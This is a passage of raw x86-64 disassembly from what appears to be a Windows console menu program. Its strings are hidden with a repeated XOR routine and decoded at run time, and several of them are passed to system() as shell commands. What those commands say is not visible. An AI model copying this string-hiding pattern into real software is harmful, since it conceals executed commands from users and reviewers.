xor byte [rax + 1], 0x3a
xor byte [rax + 2], 0x3b
xor byte [rax + 3], 0x3c
xor byte [rax + 4], 0x3d
xor byte [rax + 5], 0x3e
xor byte [rax + 6], 0x3f
xor byte [rax + 7], 0x40
xor byte [rax + 8], 0x41
xor byte [rax + 9], 0x42
xor cl, 0x43
mov byte [rax + 0xa], cl
mov rdx, rax
mov rcx, r8
call fcn.140017d90
mov rcx, rax
lea rdx, [0x1400a0d10]
call fcn.140017d70
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
xorps xmm0, xmm0
movups xmmword [rbp + 0xa0], xmm0
movdqa xmm1, xmmword [0x140083970]
movdqu xmmword [rbp + 0xb0], xmm1
mov byte [rbp + 0xa0], 0
movups xmmword [rbp + 0x80], xmm0
movdqu xmmword [rbp + 0x90], xmm1
mov byte [rbp + 0x80], 0
movups xmmword [rbp + 0xc0], xmm0
movdqu xmmword [rbp + 0xd0], xmm1
mov byte [rbp + 0xc0], 0
lea rdx, [rbp + 0xf0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___int____ptr64____ptr64]
mov ecx, dword [rbp + 0xf0]
sub ecx, 1
je 0x14002cfb7
sub ecx, 1
je 0x14002c863
cmp ecx, 1
je 0x14002c2d0
mov r10, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [rbp + 0x670]
lea rcx, [rsp + 0x50]
call fcn.14001a080
mov r9, rax
cmp byte [rax + 0x25], 0
je 0x14002c2b1
cmp r14d, 2
jl 0x14002c27c
movdqa xmm5, xmmword [0x140083980]
movdqa xmm4, xmmword [0x1400839d0]
movdqa xmm6, xmmword [0x1400839a0]
movdqa xmm0, xmmword [str.9999999999999999]
movdqa xmmword [rsp + 0x40], xmm0
mov rcx, rax
mov edx, dword [rsp + 0x40]
movd xmm2, esi
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400839b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rsi + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400839b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add esi, 8
mov eax, esi
lea rcx, [rcx + 8]
cmp esi, 0x20
jl 0x14002c172
cmp eax, 0x26
jge 0x14002c2b1
movsxd r8, esi
add r8, r9
mov eax, 0x92492493
imul esi
add edx, esi
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, sil
sub al, cl
add al, 0x39
xor byte [r8], al
inc esi
lea r8, [r8 + 1]
cmp esi, 0x26
jl 0x14002c282
mov rdx, r9
mov rcx, r10
call fcn.140017d90
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
movups xmm0, xmmword [0x140083840]
movups xmmword [rbp + 0x30], xmm0
movsd xmm0, qword [0x140083850]
movsd qword [rbp + 0x40], xmm0
movzx eax, word [0x140083858]
mov word [rbp + 0x48], ax
cmp byte [0x140083859], 0
je 0x14002c493
mov r8d, esi
cmp r14d, 2
jl 0x14002c44d
movdqa xmm5, xmmword [0x140083980]
movdqa xmm4, xmmword [0x1400839d0]
movdqa xmm6, xmmword [0x1400839a0]
movdqa xmm0, xmmword [str.9999999999999999]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp + 0x34]
mov edx, dword [rsp + 0x40]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400839b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400839b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x14002c340
cmp r8d, 0x1a
jge 0x14002c493
movsxd rax, r8d
lea r9, [rbp + 0x30]
add r9, rax
nop word [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1a
jl 0x14002c460
lea rcx, [rbp + 0x30]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [str.30eySJZ2a_f___gH3]
movups xmmword [rsp + 0x60], xmm0
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
je 0x14002c643
cmp r14d, 2
jl 0x14002c607
movdqa xmm5, xmmword [0x140083980]
mov edx, esi
movdqa xmm4, xmmword [0x1400839d0]
movdqa xmm6, xmmword [0x1400839a0]
movdqa xmm0, xmmword [str.9999999999999999]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rsp + 0x64]
mov r8d, dword [rsp + 0x40]
nop word [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400839b0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400839b0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x10
jl 0x14002c500
jmp 0x14002c643
lea r9, [rsp + 0x60]
mov r8d, esi
nop
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x10
jl 0x14002c610
lea rdx, [rsp + 0x60]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140017d90
lea rdx, [rbp + 0xa0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.140017b30
movsd xmm0, qword [0x140083870]
movsd qword [rsp + 0x40], xmm0
mov eax, dword [0x140083878]
mov dword [rsp + 0x48], eax
movzx eax, word [0x14008387c]
mov word [rsp + 0x4c], ax
cmp byte [0x14008387d], 0
je 0x14002c7f3
mov r8d, esi
cmp r14d, 2
jl 0x14002c7af
movdqa xmm4, xmmword [0x1400839d0]
movdqa xmm2, xmmword [0x140083980]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400839a0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400839b0]
packuswb xmm2, xmm2
mov eax, dword [str.9999999999999999]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x140083870]
xorps xmm2, xmm0
movd dword [rsp + 0x40], xmm2
movdqa xmm3, xmmword [0x140083990]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400839a0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400839b0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x44]
xorps xmm2, xmm1
movd dword [rsp + 0x44], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rsp + 0x40]
add r9, rax
nop word [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x14002c7c0
lea rdx, [rsp + 0x40]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140017d90
lea rdx, [rbp + 0xc0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.140017b30
lea rax, [rbp + 0x670]
mov qword [rbp + 0x70], rax
lea rdx, [rbp + 0xc0]
lea rcx, [rbp + 0x670]
call fcn.140009ae0
mov rbx, rax
lea rdx, [rbp + 0xa0]
lea rcx, [rbp + 0x750]
call fcn.140009ae0
nop
mov r8, rbx
mov rdx, rax
lea rcx, [0x1400a0ad0]
call fcn.1400062b0
jmp 0x14002d56e
movups xmm0, xmmword [0x1400837f0]
movups xmmword [rbp + 0x30], xmm0
movsd xmm0, qword [0x140083800]
movsd qword [rbp + 0x40], xmm0
movzx eax, word [0x140083808]
mov word [rbp + 0x48], ax
cmp byte [0x140083809], 0
je 0x14002ca23
mov r8d, esi
cmp r14d, 2
jl 0x14002c9dd
movdqa xmm5, xmmword [0x140083980]
movdqa xmm4, xmmword [0x1400839d0]
movdqa xmm6, xmmword [0x1400839a0]
movdqa xmm0, xmmword [str.9999999999999999]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp + 0x34]
mov edx, dword [rsp + 0x40]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400839b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400839b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x14002c8d0
cmp r8d, 0x1a
jge 0x14002ca23
movsxd rax, r8d
lea r9, [rbp + 0x30]
add r9, rax
nop word [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1a
jl 0x14002c9f0
lea rcx, [rbp + 0x30]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov eax, dword [0x140083818]
mov dword [rsp + 0x48], eax
movzx eax, word [0x14008381c]
mov word [rsp + 0x4c], ax
movzx eax, byte [0x14008381e]
movsd xmm0, qword [0x140083810]
mov byte [rsp + 0x4e], al
movsd qword [rsp + 0x40], xmm0
mov r10, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov r8d, esi
cmp r14d, 2
jl 0x14002cb7a
movdqa xmm4, xmmword [0x1400839d0]
movdqa xmm2, xmmword [0x140083980]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400839a0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400839b0]
packuswb xmm2, xmm2
mov eax, dword [str.9999999999999999]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x140083810]
xorps xmm2, xmm0
movd dword [rsp + 0x40], xmm2
movdqa xmm3, xmmword [0x140083990]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400839a0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400839b0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x44]
xorps xmm2, xmm1
movd dword [rsp + 0x44], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rsp + 0x40]
add r9, rax
nop word [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xf
jl 0x14002cb90
lea rdx, [rsp + 0x40]
mov rcx, r10
call fcn.140017d90
lea rdx, [rbp + 0xa0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.140017b30
movsd xmm0, qword [0x140083820]
movsd qword [rsp + 0x40], xmm0
mov eax, dword [0x140083828]
mov dword [rsp + 0x48], eax
movzx eax, word [0x14008382c]
mov word [rsp + 0x4c], ax
movzx eax, byte [0x14008382e]
mov byte [rsp + 0x4e], al
mov r10, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov r8d, esi
cmp r14d, 2
jl 0x14002cd30
movdqa xmm4, xmmword [0x1400839d0]
movdqa xmm2, xmmword [0x140083980]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400839a0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400839b0]
packuswb xmm2, xmm2
mov eax, dword [str.9999999999999999]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x140083820]
xorps xmm2, xmm0
movd dword [rsp + 0x40], xmm2
movdqa xmm3, xmmword [0x140083990]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400839a0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400839b0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x44]
xorps xmm2, xmm1
movd dword [rsp + 0x44], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rsp + 0x40]
add r9, rax
nop dword [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xf
jl 0x14002cd40
lea rdx, [rsp + 0x40]
mov rcx, r10
call fcn.140017d90
lea rdx, [rbp + 0x80]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.140017b30
movsd xmm0, qword [0x140083830]
movsd qword [rsp + 0x40], xmm0
mov eax, dword [0x140083838]
mov dword [rsp + 0x48], eax
movzx eax, word [0x14008383c]
mov word [rsp + 0x4c], ax
cmp byte [0x14008383d], 0
je 0x14002cf23
mov r8d, esi
cmp r14d, 2
jl 0x14002cedb
movdqa xmm4, xmmword [0x1400839d0]
movdqa xmm2, xmmword [0x140083980]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400839a0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400839b0]
packuswb xmm2, xmm2
mov eax, dword [str.9999999999999999]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x140083830]
xorps xmm2, xmm0
movd dword [rsp + 0x40], xmm2
movdqa xmm3, xmmword [0x140083990]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400839a0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400839b0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x44]
xorps xmm2, xmm1
movd dword [rsp + 0x44], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rsp + 0x40]
add r9, rax
nop word [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x14002cef0
lea rdx, [rsp + 0x40]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140017d90
lea rdx, [rbp + 0xc0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.140017b30
lea rax, [rbp + 0x670]
mov qword [rbp + 0x70], rax
lea rdx, [rbp + 0xc0]
lea rcx, [rbp + 0x670]
call fcn.140009ae0
mov rdi, rax
lea rax, [rbp + 0x750]
mov qword [rbp + 0x78], rax
lea rdx, [rbp + 0x80]
lea rcx, [rbp + 0x750]
call fcn.140009ae0
mov rbx, rax
lea rdx, [rbp + 0xa0]
lea rcx, [rbp + 0x710]
call fcn.140009ae0
nop
mov r9, rdi
mov r8, rbx
mov rdx, rax
lea rcx, [0x1400a0ad0]
call fcn.1400053e0
jmp 0x14002d56e
movups xmm0, xmmword [0x1400837a0]
movups xmmword [rbp + 0x30], xmm0
movsd xmm0, qword [0x1400837b0]
movsd qword [rbp + 0x40], xmm0
movzx eax, word [0x1400837b8]
mov word [rbp + 0x48], ax
cmp byte [0x1400837b9], 0
je 0x14002d173
mov r8d, esi
cmp r14d, 2
jl 0x14002d12f
movdqa xmm5, xmmword [0x140083980]
movdqa xmm4, xmmword [0x1400839d0]
movdqa xmm6, xmmword [0x1400839a0]
movdqa xmm0, xmmword [str.9999999999999999]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp + 0x34]
mov edx, dword [rsp + 0x40]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400839b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400839b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x14002d022
cmp r8d, 0x1a
jge 0x14002d173
movsxd rax, r8d
lea r9, [rbp + 0x30]
add r9, rax
nop dword [rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1a
jl 0x14002d140
lea rcx, [rbp + 0x30]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1400837c0]
movups xmmword [rbp + 0x30], xmm0
mov eax, dword [0x1400837d0]
mov dword [rbp + 0x40], eax
cmp byte [0x1400837d3], 0
je 0x14002d333
mov r8d, esi
cmp r14d, 2
jl 0x14002d2ed
movdqa xmm5, xmmword [0x140083980]
movdqa xmm4, xmmword [0x1400839d0]
movdqa xmm6, xmmword [0x1400839a0]
movdqa xmm0, xmmword [str.9999999999999999]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp + 0x34]
mov edx, dword [rsp + 0x40]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400839b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
